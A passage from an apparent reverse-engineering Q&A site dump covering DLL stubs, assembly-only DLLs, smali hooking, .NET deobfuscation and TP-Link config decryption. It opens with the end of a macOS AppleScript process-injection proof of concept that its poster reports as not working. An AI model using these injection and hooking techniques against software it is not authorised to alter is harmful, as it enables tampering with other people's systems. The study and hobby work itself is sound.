kAEDontRecord];&#xA;        [sbApp sendEvent:kASAppleScriptSuite id:kGetAEUT parameters:0];&#xA;&#xA;        // Inject!&#xA;        [sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];&#xA;        id injectReply = [sbApp sendEvent:‘OPNe’ id:‘open’ parameters:0];&#xA;        if (injectReply != nil) {&#xA;            NSLog(@“unexpected injectReply: %@“, injectReply);&#xA;        }&#xA;        [[NSProcessInfo processInfo]disableSuddenTermination];&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When tested using the pid provided by &lt;code&gt;lsappinfo info “ToInjectApp”&lt;/code&gt;, it seems like the code wasn't injected and &lt;code&gt;/tmp/test.txt&lt;/code&gt; wasn't created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS Version: Sierra&lt;/p&gt;&#xA;" OwnerUserId="19879" LastActivityDate="2017-11-06T16:10:26.697" Title="POC for appleScript injection method" Tags="|osx|injection|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16726" PostTypeId="5" CreationDate="2017-11-06T16:16:44.707" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2017-11-06T16:16:44.707" LastActivityDate="2017-11-06T16:16:44.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16727" PostTypeId="4" CreationDate="2017-11-06T16:16:44.707" Score="0" Body="This is a special tag that is designed to be used only by the system for questions that have had all of their other tags removed (e.g. during migration). Do not add this tag to existing questions, it is reserved for use by the system to identify posts with no valid tags." OwnerUserId="13506" LastEditorUserId="60" LastEditDate="2017-11-06T18:05:54.403" LastActivityDate="2017-11-06T18:05:54.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16728" PostTypeId="1" AcceptedAnswerId="16733" CreationDate="2017-11-06T23:16:20.957" Score="6" ViewCount="304" Body="&lt;p&gt;A bit of background; I'm trying to inject my own code into the old game SimTower with the ultimate goal of reverse engineering it in the same way that OpenRCT2 was created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since SimTower is distributed as a 16-bit NE executable I'm having a bit of trouble with injecting my own DLL and changing the main method to my own (as in this article &lt;a href=&quot;https://bwrsandman.wordpress.com/2014/12/27/first-steps-to-reverse-engineering-an-executable/&quot; rel=&quot;noreferrer&quot;&gt;https://bwrsandman.wordpress.com/2014/12/27/first-steps-to-reverse-engineering-an-executable/&lt;/a&gt;), but I think I've found another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the first things that SimTower does is to run &lt;code&gt;WAVEMIXINIT&lt;/code&gt; from &lt;code&gt;WAVMIX16.DLL&lt;/code&gt;. As far as I can tell, if the return value is &lt;code&gt;0&lt;/code&gt; it shows a dialog box and disables the sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/189580/32468638-0a936be4-c347-11e7-8989-580a8a0c6b44.png&quot; height=&quot;227&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan now is to simply create a faux wavmix16 dll that will (for now) always return 0 from that function. That should allow me to get an entry point to run my own code, and get the game started.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef void *HANDLE;&#xA;&#xA;HANDLE __far __pascal WAVEMIXINIT() {&#xA;  // while (1) {;};&#xA;  return 0;&#xA;}&#xA;&#xA;void __far __pascal STUB4() {}&#xA;void __far __pascal STUB5() {}&#xA;void __far __pascal STUB6() {}&#xA;void __far __pascal STUB7() {}&#xA;void __far __pascal STUB9() {}&#xA;void __far __pascal STUB10() {}&#xA;void __far __pascal STUB11() {}&#xA;void __far __pascal STUB12() {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiling this into a dll and naming it &lt;code&gt;wavmix16.dll&lt;/code&gt; seems to work, and I can see that the call is coming in to my function, since if I uncomment the while loop the program will be stuck inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason though, the program crashes as soon as I get to my return statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(wine)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unhandled page fault on read access to 0x0000fa30 at address 0x148f:0x0000000c (thread 002b)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(Windows XP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/189580/32468826-d353bb42-c347-11e7-8da3-78fa0329333f.png&quot; height=&quot;146&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the assembly of my DDL function that gets called. I'm a little bit unsure of why there is more stuff than just a &lt;code&gt;mov&lt;/code&gt; and &lt;code&gt;retf&lt;/code&gt; (like the &lt;code&gt;nop&lt;/code&gt;?), but I'm new to all this so maybe that's normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/189580/32468875-020fbe18-c348-11e7-90a5-80cab00910da.png&quot; height=&quot;225&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the assembly of the original DLL function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/189580/32481676-5587abde-c38c-11e7-8690-457b13517490.png&quot; height=&quot;506&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really appreciate any help, thank you!&lt;/p&gt;&#xA;" OwnerUserId="22173" LastEditorUserId="22173" LastEditDate="2017-11-07T07:32:11.287" LastActivityDate="2017-11-09T00:57:02.937" Title="Returning value from faux DLL" Tags="|dll|calling-conventions|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16730" PostTypeId="1" CreationDate="2017-11-07T12:33:07.697" Score="1" ViewCount="1766" Body="&lt;p&gt;Is this possible to do? I intend to extract those files and change all coding to make it my own. Its meant for a static website.&lt;/p&gt;&#xA;" OwnerUserId="22179" LastActivityDate="2017-11-07T16:14:11.433" Title="reverse engineering a website for the Html, css and javascript" Tags="|websites|" AnswerCount="1" CommentCount="1" ClosedDate="2017-11-07T15:53:08.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="16731" PostTypeId="1" CreationDate="2017-11-07T14:14:22.047" Score="0" ViewCount="804" Body="&lt;p&gt;This is the code I've managed to build so far to implement DLLSkeleton.dll:&#xA;&lt;a href=&quot;http://archive.org/download/lowlevelDLL32_try0000/x86_WinAPI_ASM_PE_EXE_Skeleton32--v2017-07-26.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive.org/download/lowlevelDLL32_try0000/x86_WinAPI_ASM_PE_EXE_Skeleton32--v2017-07-26.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make a DLL purely in assembly. So far I've been able to create the export table and a function with an ordinal, 01, to export the TestHello function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DLL runs properly when loaded by usedll.exe, but only when the functions don't contain anything. When I add a call to MessageBoxA, the program crashes silently but I don't know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've imported just about all standard WinAPI functions from the DLL. It works without problems when I create an EXE from scratch (for example &lt;a href=&quot;http://devel.archefire.org/downfile.php?path=/PRJ/clockcount/&amp;amp;filename=2017-10-22--ClockCount.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devel.archefire.org/downfile.php?path=/PRJ/clockcount/&amp;amp;filename=2017-10-22--ClockCount.zip&lt;/a&gt;), but when I call something like MessageBox from the DLL, it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included the current code of the test DLL in pure assembly in the first ZIP. The export and import tables work well, the DLL is loaded properly when functions only contain a RET instruction (RET 12 for DllMain, which does nothing). So what else could be wrong when calling WinAPI functions from the DLL importing USER32.dll and others using the import table?&lt;/p&gt;&#xA;" OwnerUserId="22181" LastActivityDate="2017-11-11T04:17:54.640" Title="How to build a 32-bit DLL in pure assembly" Tags="|assembly|dll|import-reconstruction|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16732" PostTypeId="2" ParentId="16730" CreationDate="2017-11-07T16:14:11.433" Score="3" Body="&lt;p&gt;If what you see rendered on the page is sufficient, then just save the complete page via your browser and modify what you want changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be more granular about seeing what the page is pulling in, press F12 in your browser to bring up the developer tools. The &quot;Sources&quot; tab will show you files that are being loaded and from where. This can help you avoid keeping junk/irrelevant files, like analytics JS files, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click on the &quot;Network&quot; tab and refresh the page, you can see the order and timing of everything loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reversing functionality from dynamic pages &lt;em&gt;can&lt;/em&gt; be exponentially more difficult (see: impossible). Implementations like &lt;a href=&quot;https://angular.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Angular&lt;/a&gt; create a black box that stores a lot of functionality server-side, so if you wanted to save, say, the functionality of the live-update notification icon from YouTube, you won't be able to do that using just what's rendered on the client side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where reverse engineering really does come into play. You can learn a lot about &lt;em&gt;how&lt;/em&gt; a page/site works via the browser's developer tools, but taking it to the next step, you're going to want to use tools like &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wireshark&lt;/a&gt; or &lt;a href=&quot;https://www.telerik.com/fiddler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fiddler&lt;/a&gt; to capture packets and inspect data more thoroughly (if you can; the data may be encrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a site is based on a platform like WordPress, then there are likely breadcrumbs in the code that will hint at either the theme the site is based on, plugins being utilized, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;: Your question is far more broad than you think (which isn't your fault because you don't know any better), but if the page you're interested in has no dynamically-updating content and its static form is truly enough for you, then saving the complete page via your browser should be sufficient. That, or use an application like &lt;a href=&quot;https://www.httrack.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTrack&lt;/a&gt; or &lt;a href=&quot;http://www.web2disk.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Web2Disk&lt;/a&gt; for something a bit more thorough that can crawl a page/site and nab more resources than a browser will render.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-11-07T16:14:11.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16733" PostTypeId="2" ParentId="16728" CreationDate="2017-11-07T16:15:57.913" Score="6" Body="&lt;p&gt;Your faux function is not fixing up the stack on the epilog of the function. It should have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pop ds&#xA;pop bp&#xA;dec bp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at the end by the calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the original function it fixes up the stack correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the stack pointer had the value of 1000h coming into the function (after &lt;code&gt;CS:IP&lt;/code&gt; is already pushed on the stack for the far call). You would then have in the original function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; sp = 1000h&#xA;mox ax, ds     &#xA;...&#xA;push bp        ; sp = 0ffeh&#xA;mov bp, sp     ; bp = 0ffeh&#xA;...&#xA;lea sp, [bp-2] ; sp = 0ffch&#xA;pop ds         ; sp = 0ffeh&#xA;pop bp         ; sp = 1000h&#xA;retf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To make the compiler used in the question, &lt;a href=&quot;http://www.digitalmars.com/ctg/sc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Digital Mars compiler dmc.exe&lt;/a&gt;, generate these instructions when returning from a far function, pass the flag &lt;code&gt;-Wm&lt;/code&gt; which will &quot;Generate INC BP / DEC BP to mark far stack frames&quot;.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="22173" LastEditDate="2017-11-09T00:57:02.937" LastActivityDate="2017-11-09T00:57:02.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16735" PostTypeId="1" AcceptedAnswerId="16738" CreationDate="2017-11-07T21:49:44.117" Score="1" ViewCount="99" Body="&lt;p&gt;I've been looking at some kernel debugging and came to see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; dt nt!_OBJECT_TYPE ffffd0851aad6c90&#xA;   +0x000 TypeList         : _LIST_ENTRY [ 0xffffd085`1aad6c90 - 0xffffd085`1aad6c90 ]&#xA;   +0x010 Name             : _UNICODE_STRING &quot;Process&quot;&#xA;   +0x020 DefaultObject    : (null) &#xA;   +0x028 Index            : 0x7 ''&#xA;   +0x02c TotalNumberOfObjects : 0xa2&#xA;   +0x030 TotalNumberOfHandles : 0x553&#xA;   +0x034 HighWaterNumberOfObjects : 0xfc&#xA;   +0x038 HighWaterNumberOfHandles : 0xbf5&#xA;   +0x040 TypeInfo         : _OBJECT_TYPE_INITIALIZER&#xA;   +0x0b8 TypeLock         : _EX_PUSH_LOCK&#xA;   +0x0c0 Key              : 0x636f7250&#xA;   +0x0c8 CallbackList     : _LIST_ENTRY [ 0xffffa38f`ff5e94f0 - 0xffffa38f`ff3ae580 ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most I can understand, or figure out what they suppose to mean.&#xA;I have no idea what HighWater means, and how it differs from the TotalNumberOfObjects/Handles. &#xA;Just from weird curiosity, any one has any idea what does it mean? &lt;/p&gt;&#xA;" OwnerUserId="22183" LastActivityDate="2017-11-08T12:38:57.160" Title="HighWaterNumberOfObjects/Handles meaning?" Tags="|windows|kernel|shared-object|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16736" PostTypeId="2" ParentId="16731" CreationDate="2017-11-07T23:09:16.880" Score="1" Body="&lt;p&gt;I have managed to implement a first attempt of a DLL, a DLL called WinAPI32.dll intended to import the entirety of the standard WinAPI and MSVC library from Windows 9x to Windows 10, and then export any custom functions and later data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will only load from a simple program, equally produced purely in assembly because of a bug/weakness I haven't been able to find yet. Another possibility is that the Iczelion test programs from tutorials 7 and 17 (which helped me understand the DLL function export table) aren't robust at importing libraries at run time, whereas I am importing the function of my DLL with the import table and it works. Probably many test programs and their DLLs (and some programs) are poorly implemented at loading the DLL functions they import at run time. Probably my first attempt of using the import library at assembly time is more robust in this case, but I will need to come up with a better version of the DLL and loading EXE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the binary if you want a fast preview of the implementation result:&#xA;&lt;a href=&quot;http://sourceforge.net/projects/x86winapiasmpedllskeleton32/files/2017-11-07--Pure_ASM_PE_EXE_DLL_32_bin.zip/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/projects/x86winapiasmpedllskeleton32/files/2017-11-07--Pure_ASM_PE_EXE_DLL_32_bin.zip/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mirror (copy together the EXE and the DLL in the same directory):&#xA;&lt;a href=&quot;http://sourceforge.net/projects/x86winapiasmpedllskeleton32/files/2017-11-07--Pure_ASM_PE_EXE_DLL_32_src.zip/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/projects/x86winapiasmpedllskeleton32/files/2017-11-07--Pure_ASM_PE_EXE_DLL_32_src.zip/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the full source code for the DLL and the DLL-loading program. So far I can only load the produced DLL with this program, but not with other standard programs like the ones from Iczelion, maybe because they load with LoadLibrary/GetProcAddress and I load with the static import table, and maybe the Iczelion test programs aren't robust enough, but I will have to implement a better version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least this is already a DLL implemented 100% in assembly code without the need of a linker or import library objects, but I had to use PEDUMP.EXE from wheaty.net to get the exports from the DLLs and an included HTML5 tool to generate the assembly code for the export table.&lt;/p&gt;&#xA;" OwnerUserId="22181" LastEditorUserId="22181" LastEditDate="2017-11-11T04:17:54.640" LastActivityDate="2017-11-11T04:17:54.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16738" PostTypeId="2" ParentId="16735" CreationDate="2017-11-08T12:38:57.160" Score="0" Body="&lt;p&gt;Not really RE, but this likely means &quot;the highest number of objects/handles ever seen&quot; (in this session).&#xA;From &lt;a href=&quot;https://en.wikipedia.org/wiki/High_water_mark&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A high water mark is a point that represents the maximum rise of a&#xA;  body of water over land. Such a mark is often the result of a flood,&#xA;  but high water marks may reflect an &lt;strong&gt;all-time high&lt;/strong&gt;, an annual high&#xA;  (highest level to which water rose that year) or the high point for&#xA;  some other division of time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-11-08T12:38:57.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16739" PostTypeId="1" CreationDate="2017-11-08T15:02:17.640" Score="2" ViewCount="782" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l3fwy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3fwy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already try de4dot with all dlls and exe and try remove strong name and don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="22192" LastEditorUserId="60" LastEditDate="2017-11-08T21:47:42.050" LastActivityDate="2017-11-09T14:08:00.377" Title="How to deobfuscation the public class names .NET" Tags="|decompilation|.net|c#|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16740" PostTypeId="2" ParentId="16069" CreationDate="2017-11-08T19:29:44.173" Score="1" Body="&lt;p&gt;There are several ways you can go about doing this. &lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rooted android:&lt;br&gt;&#xA;Use Xposed with Inspeckage or your own module to log the calls to these methods.&lt;br&gt;&lt;br&gt;&#xA;For a non-rooted android, it's a bit more complicated but shouldn't be too much of a problem.&lt;br&gt;&#xA;Decompile the APK and add smali classes that have the same signature of the functions that you intend to log.&lt;br&gt; inside the functions you created.&lt;br&gt;&#xA;For example, if you're looking to hook the method Log.e, then your smali file would look something like this:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.class public LmyLog;&#xA;.super Ljava/lang/Object;&#xA;&#xA;.method public e(Ljava/lang/String;Ljava/lang/String;)I&#xA;    .locals 1&#xA;    # log whatever params you need &#xA;    invoke-static {p0, p1}, LsomeClassForLoggin;-&amp;gt;log(Ljava/lang/String;Ljava/lang/String;)V&#xA;&#xA;    invoke-static {p0,p1}, Landroid/util/Log;-&amp;gt;e(Ljava/lang/String;Ljava/lang/String;)I&#xA;&#xA;    move-result v0&#xA;&#xA;    return v0&#xA;.end method &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this alone won't be enough because your methods won't get called from the .so.&lt;br&gt;&#xA;So next step would be to locate the classname of the method you're looking to hook and log and edit it in a hex editor.&lt;br&gt;&#xA;So in this example we'll be looking for Landroid/util/Log; and we'll be replacing it with LmyLog;&lt;br&gt;&#xA;That should redirect the calls from smali to your own code.&lt;/p&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2017-11-08T19:29:44.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16741" PostTypeId="2" ParentId="16465" CreationDate="2017-11-08T20:38:15.293" Score="0" Body="&lt;p&gt;Until a better solution is found, Perhaps the 'EOL' process can be avoided by blocking this device from access to the outside internet (by blocking it at your router/gateway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this for an internet-enabled device that I don't trust to access the internet (it still works usefully on my LAN)&lt;/p&gt;&#xA;" OwnerUserId="22199" LastActivityDate="2017-11-08T20:38:15.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16743" PostTypeId="1" AcceptedAnswerId="19260" CreationDate="2017-11-09T12:10:55.460" Score="4" ViewCount="4743" Body="&lt;p&gt;I have been trying to wrap my head round this stuff so bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Tp-Link TX-VG1530. From the gui you can download the config file however the file is encrypted, I include a portion of the conf.bin file below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;q=4‡|&amp;amp;YFË#Tùð¶¿Ä/1Þl^àh[Ú‹³lÙ€ÍÁ.©-&amp;amp;ÚdŠDT•°ôy®jò3R7B®5#B5m¨)½=Q›Î\òï-ÏÇëÄ+®‡h•Y‡Í@Ý úò%×ýÛâçó›Ð0&amp;amp;rŸØë÷vj[ñÛx¹Úm‡z†äí}Ös•qêQRsÆðèÍŽ’|Û˜’²³€¬#ìŸ4œä³½nÛÿl„¯~‚,•RÁgÏ;öÏËÀw‡§„,W‰×Jî &amp;lt;§x}ôžZñˆgFPdB§êÁ×gˆÑ=‰»uËžÏHžâKE¢¾.â˜/×3 Åæç±WÔ™ŒiõÁÕƒS\%*&#xA;Õ^çý­&amp;lt;w±ø”ð’´&amp;lt;ØmÎF1ˆÀqû§‘¥ðÛAÈÎ-ÿ1z”­9]ã7”…b«Yå[ö„*i'{ü'NŒÀç‘4ÑáÐm¹ü´B·U^wª½IÙ‚8û]³#)Lû-Diž&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using firmware modification kit I am able to  extract the file system and looking at the upload page for the conf file (/web/main/backNRestore.htm) I can see the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;formObj.target = &quot;up_frame&quot;;&#xA;formObj.action = &quot;/cgi/confup&quot;;&#xA;formObj.submit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing a quick grep I can see that /cgi/confup appears in /usr/bin/httpd. looking at this with IDA pro&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZGp5v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGp5v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the following post I believe I should be able to retrieve the encryption method but I cannot seem to see anything relating to keys etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://teknoraver.net/software/hacks/tplink/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://teknoraver.net Decrypting TP-Link conf file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I include a link to the file here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ufile.io/2pu39&quot; rel=&quot;nofollow noreferrer&quot;&gt;httpd file link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the strings command on the file I see nothing that relates to &lt;code&gt;aes&lt;/code&gt;, &lt;code&gt;des&lt;/code&gt;, &lt;code&gt;md5&lt;/code&gt;, &lt;code&gt;key&lt;/code&gt;, &lt;code&gt;dec&lt;/code&gt;, &lt;code&gt;enc&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some tools such as &lt;a href=&quot;https://gist.github.com/NikitaKarnauhov/5d9129f13e7b0e257cfbe93215751c7a&quot; rel=&quot;nofollow noreferrer&quot;&gt;tlrecode.sh&lt;/a&gt; which appear to decode the file slightly (this script seems to utilise the same key found in the teknoraver post), the decrypted file is not 100% though&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;×&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;&#xA;&amp;lt;DslCpeConfig&amp;gt;&#xA;  &amp;lt;InternetGatewayDevice&#xA;  &amp;lt;Summa¯ry val=&quot;.:1.1[](Baseli`ne:1, EthVLA`N:1)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest the next steps to take&lt;/p&gt;&#xA;" OwnerUserId="21091" LastActivityDate="2019-08-27T08:31:49.337" Title="TP-Link encrypted backup file TX-VG1530" Tags="|linux|encryption|embedded|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16744" PostTypeId="1" AcceptedAnswerId="16749" CreationDate="2017-11-09T13:03:35.270" Score="4" ViewCount="2713" Body="&lt;p&gt;I am trying to use Frida on a Java application which is obfuscated with ZKM (Zelix KlassMaster).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attach to the process, it seems the JVM is not loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Local::PID::23585]-&amp;gt; Java.available&#xA;&#xA;false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the same behavior on Burp which is run by the following command :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;java -Djsse.enableSNIExtension=false -jar -Xmx2g burpsuite_free.jar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why Frida does not detect the JVM?&lt;/p&gt;&#xA;" OwnerUserId="22208" LastEditorUserId="20928" LastEditDate="2017-11-10T16:17:04.860" LastActivityDate="2017-11-10T18:02:17.253" Title="How to use Frida on a Java application ? (non Android application)" Tags="|java|instrumentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16745" PostTypeId="2" ParentId="16739" CreationDate="2017-11-09T13:47:06.120" Score="3" Body="&lt;p&gt;Converting multiple comments of mine to an answer for future readers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't always deobfuscate .NET binaries. If, when the binaries are compiled, the obfuscation implementation modifies the name itself in every place it's referenced, then that (the mangled name) is what the name will be for you, the reverser. It's as if the developer developed the application using those obfuscated names in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you want to accomplish, this is where other analysis (static [studying binaries without executing (running) them] and/or dynamic [studying binaries while they're executing]) comes into play where you have to find your way to the meaning of everything that's obfuscated (well, everything you're interested in, at least). This is by no means a trivial task necessarily, but it's what you have to start considering in the absence of meaningful symbols/names (which is quite commonly the case in unmanaged (&lt;a href=&quot;https://en.wikipedia.org/wiki/Managed_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;non-CLR&lt;/a&gt;) binaries that lack symbol names).&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-11-09T14:08:00.377" LastActivityDate="2017-11-09T14:08:00.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16747" PostTypeId="2" ParentId="16465" CreationDate="2017-11-09T17:44:37.727" Score="1" Body="&lt;p&gt;Have you been able to mount any portion of this dump as ubifs ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings data-complete.bin | grep -i ubi&#xA;&quot;console=ttymxc1,115200 noinitrd init=/linuxrc ubi.mtd=1 root=/dev/mtdblock:cramfs%{os_backup} %{os_cmdargs}&quot;&#xA;ubi attach -f 0x80000 -l 0x07EC0000 -w 0x800 -e 0x20000 -s 0x200&#xA;ubi load -b 0x100000 kernel%{os_backup}&#xA;&quot;console=ttymxc1,115200 noinitrd init=/linuxrc ubi.mtd=1 root=/dev/mtdblock:cramfs%{os_backup} %{os_cmdargs}&quot;&#xA;ubi attach -f 0x80000 -l 0x07EC0000 -w 0x800 -e 0x20000 -s 0x200&#xA;ubi load -b 0x100000 kernel%{os_backup}&#xA;*** invalid 'ubi' command: %s&#xA;ubi &#xA;*** UBI is not attached&#xA;*** UBI is already attached&#xA;UBI start address&#xA;UBI length&#xA;Attach Unsorted Block Image [UBI]&#xA;[-f &amp;lt;ubi_addr&amp;gt; -l &amp;lt;ubi_length&amp;gt; -w &amp;lt;write_size&amp;gt; -e &amp;lt;erase_size&amp;gt; -s &amp;lt;subpage_size&amp;gt;]&#xA;Detach Unsorted Block Image [UBI]&#xA;Display contents of Unsorted Block Image [UBI]&#xA;Load image from Unsorted Block Image [UBI] into RAM&#xA;Erase an Unsorted Block Image [UBI]&#xA;Format using a UBI image&#xA;Manage UBI images&#xA;node with incompatible UBI version found: this UBI version is %d, image version is %d&#xA;this UBI version is %d, image version is %d&#xA;bad UBI magic %08lx, should be %08x&#xA;ubi attach -f 0x80000 -l 0x07EC0000 -w 0x800 -e 0x20000 -s 0x200&#xA;ubi load -b 0x100000 kernel%{os_backup}&#xA;&quot;console=ttymxc1,115200 noinitrd init=/linuxrc ubi.mtd=1 root=/dev/mtdblock:cramfs%{os_backup} %{os_cmdargs}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See for 